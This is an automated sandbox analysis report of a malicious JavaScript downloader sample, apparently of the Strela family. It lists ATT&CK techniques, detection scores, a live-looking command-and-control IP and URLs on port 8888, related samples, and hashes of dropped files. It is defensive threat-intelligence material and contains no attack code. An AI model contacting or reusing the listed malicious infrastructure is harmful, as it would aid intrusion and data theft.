Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2453210565523714481.js	3%	Virustotal		Browse
2453210565523714481.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Zs	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ns	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.39	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2164848350.000001DE6DD07000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2164102434.000002CB0D4C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3387817413.000002CB0D600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2164848350.000001DE6DD5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2164848350.000001DE6DD07000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2164848350.000001DE6DD3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Zs	net.exe, 00000007.00000002.2164848350.000001DE6DD3B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/ns	net.exe, 00000007.00000002.2164848350.000001DE6DD3B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587868
Start date and time:	2025-01-10 18:46:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2453210565523714481.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 50.16.47.176, 34.237.241.83, 54.224.241.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.16.168.105, 2.16.168.107, 23.209.209.135, 2.22.50.144, 2.22.50.131, 13.107.246.45, 4.175.87.197, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:47:29	API Interceptor	23x Sleep call for process: powershell.exe modified
12:47:33	API Interceptor	1x Sleep call for process: net.exe modified
12:47:33	API Interceptor	2x Sleep call for process: svchost.exe modified
12:47:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
bg.microsoft.map.fastly.net	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263281919600437
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0I:9JZj5MiKNnNhoxu2
MD5:	6E89BDC768F96174056E49EAA679D841
SHA1:	F324A14177C1E140D767FE616E048A8DC0B4FAB6
SHA-256:	7651D4A75FFBC5B61E4A0E41E3C1CB7D69CEFE964F4DE37502CB5000205728E3
SHA-512:	A4737A08DD6008D4282738E755A1A849CA33DFF81F8092C2C3F98AB365CDCD593A72D6FDDF676CDBFC055686C4A91879DF5DA96CA165DE2F35CF2215ACB317DC
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x484a3b56, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556057577956986
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	DF77CDFE14532EE3070AA1D13798E776
SHA1:	64F39D222DD094B54340ECB28F1D6D72E059AAE4
SHA-256:	1BF33E4E74DB2B6A4A653603DBEBE52D3A87F54C44628AFC69C0229374274E3B
SHA-512:	F81FB29225C1A91E5FA2251DE22FC66902984FB49DBC5DD8D12303291AE116D2E3574496C925046BB9B26ABE7C8172F08EAB03F5B41F15E67A118AA6B1ECDDF4
Malicious:	false
Preview:	HJ;V... .......7.......X\...;...{......................0.e......!...{?.!/...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.....................................c!/...}...................a..!/...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07981112909443144
Encrypted:	false
SSDEEP:	3:D9Yez4raANaAPaU1lLWortilluxmO+l/SNxOf:Jzz4rDNDPaUjrtGgmOH
MD5:	EDF9A7B914B3FB387B879974BF4964E4
SHA1:	78F9D1C74389FAE8A87AD0946C845CA326D641EF
SHA-256:	78FDC79751F78D22755A682110B72E20663E8012B211F22DC1C110F34EB22E9E
SHA-512:	DFBFEE70444C85D4C2E745D51B81EE227BEBDBFEC583BCA7749F11F9C74659487BE3AC88690CF1E2D3C0270103F1C1FE7CAB80B1787042AA9263D359A37C2300
Malicious:	false
Preview:	.........................................;...{..!/...}...!...{?..........!...{?..!...{?..g...!...{?..................a..!/...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.170136316109105
Encrypted:	false
SSDEEP:	6:iO4Bc7VOq2PN72nKuAl9OmbnIFUtSefZmwseNkwON72nKuAl9OmbjLJ:7R7VOvVaHAahFUtVf/jN5OaHAaSJ
MD5:	DC3B7364C6EA4DB8867BF9378F749BDE
SHA1:	33D94962C87E8D4E32DE21D65971E269F8EBB93F
SHA-256:	E263A3EDE552BFF85E7E62E4446192C50570FB056707038CB3A02CC4FEFFA7B0
SHA-512:	60E7EBA65AEBB9870AAE39819B8C86654BC5396BF7F3646DF4B33220B8718357CED2818A92A953841DCB85DDE08CC288A520D1CC9BC11F17DD77A5EA83E10363
Malicious:	false
Preview:	2025/01/10-12:47:33.599 500 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:47:33.601 500 Recovering log #3.2025/01/10-12:47:33.601 500 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.170136316109105
Encrypted:	false
SSDEEP:	6:iO4Bc7VOq2PN72nKuAl9OmbnIFUtSefZmwseNkwON72nKuAl9OmbjLJ:7R7VOvVaHAahFUtVf/jN5OaHAaSJ
MD5:	DC3B7364C6EA4DB8867BF9378F749BDE
SHA1:	33D94962C87E8D4E32DE21D65971E269F8EBB93F
SHA-256:	E263A3EDE552BFF85E7E62E4446192C50570FB056707038CB3A02CC4FEFFA7B0
SHA-512:	60E7EBA65AEBB9870AAE39819B8C86654BC5396BF7F3646DF4B33220B8718357CED2818A92A953841DCB85DDE08CC288A520D1CC9BC11F17DD77A5EA83E10363
Malicious:	false
Preview:	2025/01/10-12:47:33.599 500 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:47:33.601 500 Recovering log #3.2025/01/10-12:47:33.601 500 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2064805983286755
Encrypted:	false
SSDEEP:	6:iO4Dcn4q2PN72nKuAl9Ombzo2jMGIFUtSDcvF3JZmwsDc0VDkwON72nKuAl9OmbX:76nvVaHAa8uFUtY0Z/u3d5OaHAa8RJ
MD5:	DF3D6FFCDA657EA18CF2E8ADA2B778F5
SHA1:	C68F6D0855BAE831B9B7791E3E0891029EB6407A
SHA-256:	EBC649DFE3844A7CE5E97E2371190D8BF0F31736CBE872AED8B32F5F2B5CB9BA
SHA-512:	5CB3BA3B3262602744416DBD6DCB613C7603BFCCF376D276AC76CCA2876833B640C04B0BEB80BDC20DE4A4E379F8A003821998EB858A73FB2DDA8979AFD65FB9
Malicious:	false
Preview:	2025/01/10-12:47:33.796 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:47:33.798 1c44 Recovering log #3.2025/01/10-12:47:33.799 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2064805983286755
Encrypted:	false
SSDEEP:	6:iO4Dcn4q2PN72nKuAl9Ombzo2jMGIFUtSDcvF3JZmwsDc0VDkwON72nKuAl9OmbX:76nvVaHAa8uFUtY0Z/u3d5OaHAa8RJ
MD5:	DF3D6FFCDA657EA18CF2E8ADA2B778F5
SHA1:	C68F6D0855BAE831B9B7791E3E0891029EB6407A
SHA-256:	EBC649DFE3844A7CE5E97E2371190D8BF0F31736CBE872AED8B32F5F2B5CB9BA
SHA-512:	5CB3BA3B3262602744416DBD6DCB613C7603BFCCF376D276AC76CCA2876833B640C04B0BEB80BDC20DE4A4E379F8A003821998EB858A73FB2DDA8979AFD65FB9
Malicious:	false
Preview:	2025/01/10-12:47:33.796 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:47:33.798 1c44 Recovering log #3.2025/01/10-12:47:33.799 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8ffc8d59-3a8c-4fe2-a061-f1381d3af1f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955329463162928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqo9sBdOg2HKcaq3QYiubcP7E4T3y:Y2sRdsydMHl3QYhbA7nby
MD5:	64A986FA89573AF3D515E9B97EDDC438
SHA1:	110AAE2D750FA4BF7A233E6C421FA6F13B999DEF
SHA-256:	6B436349C1C246541927B9FCB0C8869FC39B941CB49B783CA426C1EFE4673FBA
SHA-512:	7266E7F905D4E7DE97A4F24FB17A77C41639683493AF03FAE88EB5A17B54C8A98BE11C13CCA229890980F0BBAA986C4903941ED819135F55952127636CB595F3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091266343125","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":182421},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.955329463162928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqo9sBdOg2HKcaq3QYiubcP7E4T3y:Y2sRdsydMHl3QYhbA7nby
MD5:	64A986FA89573AF3D515E9B97EDDC438
SHA1:	110AAE2D750FA4BF7A233E6C421FA6F13B999DEF
SHA-256:	6B436349C1C246541927B9FCB0C8869FC39B941CB49B783CA426C1EFE4673FBA
SHA-512:	7266E7F905D4E7DE97A4F24FB17A77C41639683493AF03FAE88EB5A17B54C8A98BE11C13CCA229890980F0BBAA986C4903941ED819135F55952127636CB595F3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091266343125","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":182421},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2540756376169115
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7GwWD:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhY
MD5:	34D912FBFE36F42629DED77CEE92BA57
SHA1:	3E90B00F395C145A5341C3BBE32DFAC79AE29A89
SHA-256:	9CBB94E073A872C736ABD5BE2752E36117141299C0D569D2BF2890419F5E77E3
SHA-512:	D9278F2EB3DA101C868DA10682D2845B20521639FD727E039A92D0C01782DF6C8157B50527994EA00D48C234126D074FA528AD189E6D8A2B71057FFA724C287E
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1593881909513835
Encrypted:	false
SSDEEP:	6:iO4NccT4q2PN72nKuAl9OmbzNMxIFUtSGdJZmwsAWb3DkwON72nKuAl9OmbzNMFd:7l9vVaHAa8jFUtXn/O5OaHAa84J
MD5:	8B9B2294D173E00CE5C765EFD3CB1C88
SHA1:	CE542F6911F954FEF93E304961B228C278074084
SHA-256:	096CA91CB8181420D9CE1888CECC318CDAA81E95AB87B70AA26E011470DDF389
SHA-512:	F1F930F164D52A610994DD62DE4ED02A6FEA8BA1C5E4414D7A428181B548801CF07FF4B4F91AD73D93DE76CAB9219DA4BCDC5A7BA18EBE5D5100B1244595870A
Malicious:	false
Preview:	2025/01/10-12:47:33.999 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:47:34.030 1c44 Recovering log #3.2025/01/10-12:47:34.053 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1593881909513835
Encrypted:	false
SSDEEP:	6:iO4NccT4q2PN72nKuAl9OmbzNMxIFUtSGdJZmwsAWb3DkwON72nKuAl9OmbzNMFd:7l9vVaHAa8jFUtXn/O5OaHAa84J
MD5:	8B9B2294D173E00CE5C765EFD3CB1C88
SHA1:	CE542F6911F954FEF93E304961B228C278074084
SHA-256:	096CA91CB8181420D9CE1888CECC318CDAA81E95AB87B70AA26E011470DDF389
SHA-512:	F1F930F164D52A610994DD62DE4ED02A6FEA8BA1C5E4414D7A428181B548801CF07FF4B4F91AD73D93DE76CAB9219DA4BCDC5A7BA18EBE5D5100B1244595870A
Malicious:	false
Preview:	2025/01/10-12:47:33.999 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:47:34.030 1c44 Recovering log #3.2025/01/10-12:47:34.053 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444777473388358
Encrypted:	false
SSDEEP:	384:ye6ci5twiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mHs3OazzU89UTTgUL
MD5:	9B86EF1F0BCDBD906D25EB81D35F1D10
SHA1:	C7B6C3E9975A2A7165785E08417E81A40061C990
SHA-256:	7BFA19556B2052466E3F413B9002F75C1A3737DED197BB8580C93B833916EBA8
SHA-512:	0F041713A97E3909817977DFB4B7890805D2A88C8340FEC0626BD21F6FE55CC5734F28D0FEC18A8301BEE9A97B2CC7D38E2752ABB599B44326D53FD0E96C120F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7661925217446153
Encrypted:	false
SSDEEP:	48:7MIJioyV+ioyY8oy1C7oy16oy1IKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1L:7fJu+VBDXjBiXb9IVXEBodRBk3
MD5:	CD6F554BB7F78D061A6BEC1BE876DF3A
SHA1:	676E741F01E443512813C793F9B180076AB6B69F
SHA-256:	11F4EF70B5F4BAD4AA73ED71B197A145DFA5C657C83C020865C03377BDD9DBC6
SHA-512:	C38632115D8FA408EA9FA1F87FF6DD9A862BA72334DBD315A2FCFF5C55982A9402C626D4F1E2ED7389B85F7A7919F7F52F8FB26EEDADF8A927852FFF4F6A8CC9
Malicious:	false
Preview:	.... .c......56o...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
